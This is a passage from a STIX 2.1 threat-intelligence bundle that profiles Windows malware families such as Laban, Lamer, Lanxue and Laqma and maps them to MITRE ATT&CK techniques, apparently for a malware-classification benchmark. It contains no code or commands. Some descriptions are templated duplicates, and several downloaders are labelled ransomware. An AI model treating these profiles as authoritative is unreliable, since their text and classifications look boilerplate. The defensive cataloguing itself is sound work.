Command and Control (C2) server to signal a successful compromise and request further instructions.</li>\n<li><strong>Payload Dropping:</strong> The ultimate purpose of this initial Trojan is to download and install a secondary, more specialized malware payload, such as a banking Trojan, a cryptocurrency miner, or enterprise ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of KZ4AAMKFBLOJ is a critical incident. It signifies that a sophisticated, evasion-focused threat has bypassed initial network defenses and is actively attempting to deploy a severe secondary payload onto the compromised endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The endpoint must be disconnected from the corporate network immediately to prevent the successful download of the secondary payload and to halt any potential lateral movement.</li>\n<li><strong>EDR Triage:</strong> Security analysts must utilize Endpoint Detection and Response (EDR) to trace the execution tree of the randomized executable. Identifying any child processes spawned or anomalous network connections made is critical to determining the scope of the breach.</li>\n<li><strong>Total Re-imaging:</strong> Because these trojans rely heavily on process injection and deep system hooking, attempting to \"clean\" the machine manually is highly risky. A complete bare-metal wipe and re-image from a trusted baseline is required.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Obfuscated.Gen",
        "Dropper.RandomName",
        "Win32/Trojan.Packer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kz4Aamkfbloj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kz4aamkfbloj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--beaf632b-5be2-5fbf-9d0a-29407363a7c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e22871c-e380-5fae-a005-b19ba86000b3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kz4Aamkfbloj exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dad107c5-8776-5613-8971-65c1c0f3fe95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e22871c-e380-5fae-a005-b19ba86000b3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kz4Aamkfbloj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5130adca-ef76-5b87-b0fd-b49da75d3bbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e22871c-e380-5fae-a005-b19ba86000b3",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kz4Aamkfbloj exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a368a6ff-cc8b-51f2-a8a9-462b1f10ff66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Laban",
      "description": "Trojan:Win32/Laban is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Laban</b><br>To an end-user, a Laban infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Laban is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Laban is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Laban frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Laban reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Laban",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/laban"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79ca8448-17d4-5171-b929-b336b344d6e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a368a6ff-cc8b-51f2-a8a9-462b1f10ff66",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Laban exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eccd5ac4-26f6-532f-b3a8-95b001af868d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a368a6ff-cc8b-51f2-a8a9-462b1f10ff66",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Laban exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d639a00-d530-50fb-b708-7938bc6cbd11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a368a6ff-cc8b-51f2-a8a9-462b1f10ff66",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Laban exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fb7e637-e886-5833-ba5b-d9827461c687",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a368a6ff-cc8b-51f2-a8a9-462b1f10ff66",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Laban exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7522069b-5536-5846-a667-5f0c2bcc449f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a368a6ff-cc8b-51f2-a8a9-462b1f10ff66",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Laban exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2d6552e2-434a-560c-b320-a29b96dba3e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lamer",
      "description": "Worm:Win32/Lamer is a dual-threat propagation worm and trojan downloader that emerged in the mid-2000s, designed to infiltrate Windows networks and establish a persistent beachhead for secondary crimeware deployment. Spreading through peer-to-peer (P2P) file-sharing networks, infected removable storage devices, and open Windows network shares, Lamer copies itself using deceptive filenames mimicking popular cracked utilities, media files, and system tools. Once executed, Lamer profiles the host environment (collecting operating system version, domain roles, and security software indicators), modifies registry Run keys to survive reboots, and connects to remote C2 infrastructure to download second-stage infostealers and ransomware droppers. (Observed samples in benchmark: 894)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Lamer",
        "Worm:Win32/Lamer",
        "W32/Lamer",
        "Trojan.Lamer",
        "Worm.Win32.Lamer",
        "Backdoor.Lamer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lamer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lamer"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--105bea02-df49-57aa-9866-eee3bae85ad9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d6552e2-434a-560c-b320-a29b96dba3e7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lamer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df517a0c-4cf6-52eb-bf16-e85a94e6b2f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d6552e2-434a-560c-b320-a29b96dba3e7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lamer exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8c4d053-1539-5d80-8269-f79acb0bd9e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d6552e2-434a-560c-b320-a29b96dba3e7",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lamer exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e34a4edf-9e6e-52d1-8e63-351310d9850f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d6552e2-434a-560c-b320-a29b96dba3e7",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lamer exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9ed08a4-4a78-54df-b46c-77b57c5347a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d6552e2-434a-560c-b320-a29b96dba3e7",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lamer exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--843dc955-3395-5115-b61a-54cbe2848a05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d6552e2-434a-560c-b320-a29b96dba3e7",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lamer exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2cbe92de-154b-5c26-87d7-dee80649ca82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lanfiltrator",
      "description": "LanFiltrator (cataloged across security software as Trojan:Win32/LanFiltrator, Spyware.Win32.LanFiltrator, and Trojan.LanFiltrator) is a specialized local area network (LAN) surveillance, credential harvesting, and data exfiltration tool that surfaced in the mid-2000s cybercrime era. Designed for enterprise network reconnaissance, LanFiltrator enumerates active network nodes, probes open SMB shares, harvests cached domain credentials, captures network traffic, and silently exfiltrates harvested corporate data via outbound FTP or HTTP connections to remote operators.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/LanFiltrator",
        "Spyware.Win32.LanFiltrator",
        "Trojan.LanFiltrator",
        "Win32/LanFiltrator.Spyware",
        "LanFiltrator.Sniffer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lanfiltrator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lanfiltrator"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf05ab29-a5e6-5f2b-b360-3962e9a6aaed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2cbe92de-154b-5c26-87d7-dee80649ca82",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lanfiltrator exhibits technique T1046 (Network Service Discovery)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--7fc99b97-c89c-538a-a718-c7174eede2f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1087.002: Account Discovery: Domain Account",
      "description": "MITRE ATT&CK Technique T1087.002 (Account Discovery: Domain Account) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1087.002",
          "url": "https://attack.mitre.org/techniques/T1087/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db7077f7-6533-5295-b05a-df9fd63076f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2cbe92de-154b-5c26-87d7-dee80649ca82",
      "target_ref": "attack-pattern--7fc99b97-c89c-538a-a718-c7174eede2f9",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lanfiltrator exhibits technique T1087.002 (Account Discovery: Domain Account)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0575366-5771-5a29-a484-89d42d88fbee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2cbe92de-154b-5c26-87d7-dee80649ca82",
      "target_ref": "attack-pattern--fe0cd66f-21f1-50af-9887-42431780df13",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lanfiltrator exhibits technique T1135 (Network Share Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6baf2eb9-006f-598f-8666-956ee0d5056d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2cbe92de-154b-5c26-87d7-dee80649ca82",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lanfiltrator exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f251f1d2-c110-5e07-820e-faac553b009c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2cbe92de-154b-5c26-87d7-dee80649ca82",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lanfiltrator exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d5070be6-e6b6-5a52-b769-0935b0709281",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lanxue",
      "description": "<h3>Executive Summary</h3>\nLanxue is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLanxue is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Lanxue operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Lanxue ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Lanxue receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Lanxue infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Lanxue executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Lanxue frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Lanxue",
        "Downloader.Lanxue",
        "Win32/Lanxue"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lanxue",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lanxue"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94306b2f-4e74-5999-8b47-e849eead4e6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5070be6-e6b6-5a52-b769-0935b0709281",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lanxue exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26d6a110-c265-565c-9fe4-32c26276ec9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5070be6-e6b6-5a52-b769-0935b0709281",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lanxue exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2868e4e2-b40e-5a8b-a00c-edcfd8f63367",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5070be6-e6b6-5a52-b769-0935b0709281",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lanxue exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e1d83a87-e25a-5c0a-8aff-15e63afc3574",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lapka",
      "description": "Trojan:Win32/Lapka is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Lapka</b><br>To an end-user, a Lapka infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Lapka is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Lapka is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Lapka frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Lapka reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lapka",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lapka"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a25c4d4-e647-5a38-9554-b50c603d8a54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1d83a87-e25a-5c0a-8aff-15e63afc3574",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lapka exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43f112d4-770c-59fa-86ba-88cbc8e042fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1d83a87-e25a-5c0a-8aff-15e63afc3574",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lapka exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33bf1b02-9946-5312-837f-ccc634cc57b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1d83a87-e25a-5c0a-8aff-15e63afc3574",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lapka exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a79c6418-a60c-5d11-bd25-b9b780a98ea3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1d83a87-e25a-5c0a-8aff-15e63afc3574",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lapka exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdacb970-3891-5bbd-b2ed-7a9fc7130b55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1d83a87-e25a-5c0a-8aff-15e63afc3574",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lapka exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5d4c65aa-80cb-582f-80d6-52ce864572ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Laqma",
      "description": "Laqma (cataloged across security vendors as TrojanSpy:Win32/Laqma.B, VirTool:WinNT/Laqma.C, and Trojan:Win32/Laqma) is an evasive Windows trojan-spy and rootkit utility discovered in 2008. Spread through malicious spam email attachments, compromised websites, and pirate software cracks, Laqma is engineered for covert surveillance and long-term backdoor access. A key technical feature of Laqma is its deployment of a kernel-mode rootkit driver (typically dropped as lanmandrv.sys and registered under the Windows Service LanManDrv). This driver hooks low-level kernel APIs to conceal Laqma's executable processes, disk files, registry entries, and active network connections from Windows task managers and endpoint security products. Operating in the background, Laqma harvests sensitive system telemetry, logs user credentials, intercepts network communications, and connects to remote command-and-control servers to download secondary malicious binaries. (Observed samples in benchmark: 204)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanSpy:Win32/Laqma.B",
        "VirTool:WinNT/Laqma.C",
        "Trojan:Win32/Laqma",
        "Troj/Laqma-A",
        "Win32/Laqma"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Laqma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/laqma"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b29a987-467f-56dc-bdd1-be491e6c90d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d4c65aa-80cb-582f-80d6-52ce864572ee",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Laqma exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbba19b1-0f9a-5894-b0e6-de6d589c1a7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d4c65aa-80cb-582f-80d6-52ce864572ee",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
